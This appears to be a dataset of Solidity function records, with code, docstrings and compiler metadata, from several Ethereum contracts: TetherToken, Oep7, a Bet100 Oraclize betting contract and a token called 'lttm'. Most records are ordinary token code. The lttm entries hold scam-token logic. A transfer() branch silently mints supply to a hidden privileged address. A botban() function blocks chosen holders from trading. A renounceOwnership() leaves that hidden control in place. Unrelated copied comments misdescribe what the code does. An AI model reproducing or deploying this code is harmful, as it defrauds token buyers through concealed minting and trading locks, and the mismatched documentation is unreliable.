contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
approve
function approve(address _spender, uint _value) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } }
// Forward ERC20 methods to upgraded contract if this one is deprecated
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 2247, 2559 ] }
19,835
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
allowance
function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } }
// Forward ERC20 methods to upgraded contract if this one is deprecated
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 3368, 3666 ] }
19,836
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
deprecate
function deprecate(address _upgradedAddress) public onlyOwner { require(_upgradedAddress != address(0)); deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); }
// deprecate current contract in favour of a new one
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 3727, 3963 ] }
19,837
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
totalSupply
function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } }
// deprecate current contract if favour of a new one
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 4024, 4247 ] }
19,838
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
issue
function issue(uint amount) public onlyOwner { balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); Transfer(address(0), owner, amount); }
// Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 4406, 4640 ] }
19,839
TetherToken
TetherToken.sol
0xf6445627bc9d06516d317a0dbbc4660bab7a17c0
Solidity
TetherToken
contract TetherToken is Pausable, StandardTokenWithFees, Whitelist { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the con...
redeem
function redeem(uint amount) public onlyOwner { _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); Transfer(owner, address(0), amount); }
// Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued
LineComment
v0.4.19+commit.c4cbbb05
bzzr://236712fba1eb0e78fd8abe221efbba3d99e13ddf8b137094d68faca8b6f8ad31
{ "func_code_index": [ 4866, 5102 ] }
19,840
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 261, 314 ] }
19,841
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } ...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 637, 813 ] }
19,842
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
BasicToken
contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // allowedAddresses will be able to transfer even when locked // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public allowedAddresses; mapp...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Tr...
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 1176, 1566 ] }
19,843
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
BasicToken
contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // allowedAddresses will be able to transfer even when locked // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public allowedAddresses; mapp...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 1772, 1888 ] }
19,844
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met ...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 392, 980 ] }
19,845
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * ...
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 1612, 1802 ] }
19,846
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 2126, 2271 ] }
19,847
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to ...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 2516, 2787 ] }
19,848
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
BurnableToken
contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_valu...
/** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */
NatSpecMultiLine
burn
function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; ...
/** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 225, 760 ] }
19,849
Oep7
Oep7.sol
0xc4bc06a76891fcf460d597fc602853ba8fb464af
Solidity
Oep7
contract Oep7 is BurnableToken { string public constant name = "Oep network"; string public constant symbol = "Oep7"; uint public constant decimals = 3; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 3000000 * (10 ** uint256(decimals)); ...
Oep7
function Oep7 () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner allowedAddresses[owner] = true; }
// Constructors
LineComment
v0.4.24+commit.e67f0147
bzzr://f76782e733629858ccdfe45309cc5fbccdd3d58af996fc4eb7ce158ac966cd76
{ "func_code_index": [ 338, 522 ] }
19,850
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uin...
parseInt
function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); }
// parseInt
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 9107, 9206 ] }
19,851
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uin...
parseInt
function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; ...
// parseInt(parseFloat*10^_b)
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 9244, 9853 ] }
19,852
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
Bet100
contract Bet100 is usingOraclize { using NameFilter for string; uint constant edge = 100; uint constant maxWin = 1000; uint constant maxWinCheck = maxWin * 2; uint constant minBet = 10 finney; uint constant emergencyWithdrawalRatio = 10; uint safeGas = 400000; uint con...
// </ORACLIZE_API>
LineComment
getBankroll
function getBankroll() view public returns(uint) { if (_bankRoll + investorsProfit <= investorsLosses) { return 0; } else { return _bankRoll + investorsProfit - investorsLosses; } //return _bankRoll; }
//CONSTANT HELPER FUNCTIONS
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 6274, 6585 ] }
19,853
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
Bet100
contract Bet100 is usingOraclize { using NameFilter for string; uint constant edge = 100; uint constant maxWin = 1000; uint constant maxWinCheck = maxWin * 2; uint constant minBet = 10 finney; uint constant emergencyWithdrawalRatio = 10; uint safeGas = 400000; uint con...
// </ORACLIZE_API>
LineComment
safeSend
function safeSend(address addr, uint value) private { if (value == 0) { emit LOG_ZeroSend(); return; } if (this.balance < value) { emit LOG_ValueIsTooBig(); return; } //发送资金 if (!(addr.call.gas(safeGas).value(value)())) { emit LOG_Faile...
// PRIVATE HELPERS FUNCTION
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 9249, 9889 ] }
19,854
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
Bet100
contract Bet100 is usingOraclize { using NameFilter for string; uint constant edge = 100; uint constant maxWin = 1000; uint constant maxWinCheck = maxWin * 2; uint constant minBet = 10 finney; uint constant emergencyWithdrawalRatio = 10; uint safeGas = 400000; uint con...
// </ORACLIZE_API>
LineComment
function() payable public { bet(5, 0); }
// SECTION II: BET & BET PROCESSING
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 9935, 10015 ] }
19,855
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
Bet100
contract Bet100 is usingOraclize { using NameFilter for string; uint constant edge = 100; uint constant maxWin = 1000; uint constant maxWinCheck = maxWin * 2; uint constant minBet = 10 finney; uint constant emergencyWithdrawalRatio = 10; uint safeGas = 400000; uint con...
// </ORACLIZE_API>
LineComment
increaseInvestment
function increaseInvestment() external payable onlyIfNotStopped onlyMoreThanZero onlyOwner { _bankRoll += msg.value; invest_amount += msg.value; }
//SECTION III: INVEST & DIVEST
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 15565, 15787 ] }
19,856
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
Bet100
contract Bet100 is usingOraclize { using NameFilter for string; uint constant edge = 100; uint constant maxWin = 1000; uint constant maxWinCheck = maxWin * 2; uint constant minBet = 10 finney; uint constant emergencyWithdrawalRatio = 10; uint safeGas = 400000; uint con...
// </ORACLIZE_API>
LineComment
stopContract
function stopContract() external onlyOwner { isStopped = true; emit LOG_ContractStopped(); }
//SECTION IV: CONTRACT MANAGEMENT
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 16294, 16434 ] }
19,857
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
Bet100
contract Bet100 is usingOraclize { using NameFilter for string; uint constant edge = 100; uint constant maxWin = 1000; uint constant maxWinCheck = maxWin * 2; uint constant minBet = 10 finney; uint constant emergencyWithdrawalRatio = 10; uint safeGas = 400000; uint con...
// </ORACLIZE_API>
LineComment
receivePlayerInfo
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); }
//SECTION V: EMERGENCY WITHDRAWAL
LineComment
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 18319, 18539 ] }
19,858
Bet100
Bet100.sol
0xe7d934996356e353e6ff1530ee50221761167b47
Solidity
NameFilter
library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts character...
nameFilter
function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure i...
/** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed...
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://6fde6d8ff99e95daeeacd2444b206fdd11c710084820aed570e00a87ea5c3f54
{ "func_code_index": [ 414, 2813 ] }
19,859
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
SafeMath
library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * ...
/* _______ _______ _______ | |_____| |______ | |_____ | | ______| | _______ _____ _______ _ _ _______ _______ _______ _____ | | | |____/ |______ | | | | | __|__ |_____ | \_ |______ | | |_____| _______ _______ _____...
Comment
cre
function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * t...
Comment
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 1164, 1354 ] }
19,860
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
SafeMath
library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * ...
/* _______ _______ _______ | |_____| |______ | |_____ | | ______| | _______ _____ _______ _ _ _______ _______ _______ _____ | | | |____/ |______ | | | | | __|__ |_____ | \_ |______ | | |_____| _______ _______ _____...
Comment
cal
function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); }
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 1939, 2077 ] }
19,861
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
SafeMath
library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * ...
/* _______ _______ _______ | |_____| |______ | |_____ | | ______| | _______ _____ _______ _ _ _______ _______ _______ _____ | | | |____/ |______ | | | | | __|__ |_____ | \_ |______ | | |_____| _______ _______ _____...
Comment
redc
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 3004, 3204 ] }
19,862
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
Ownable
contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipient...
renounceOwnership
function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 991, 1126 ] }
19,863
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 910, 1019 ] }
19,864
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
ROCKETFUEL
function ROCKETFUEL (address set) public checker { router = set; }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 1241, 1326 ] }
19,865
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
decimals
function decimals() public view virtual override returns (uint8) { return 18;
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 1592, 1694 ] }
19,866
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev updateTaxFee * */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 1748, 1861 ] }
19,867
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 2174, 2306 ] }
19,868
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
transfer
function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances...
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 2671, 3186 ] }
19,869
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
botban
function botban(address _count) internal checker { confirm[_count] = true;
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 4311, 4408 ] }
19,870
lttm
lttm.sol
0xc479c360b835347e412b8f34aa57c5df896fe996
Solidity
ERC20
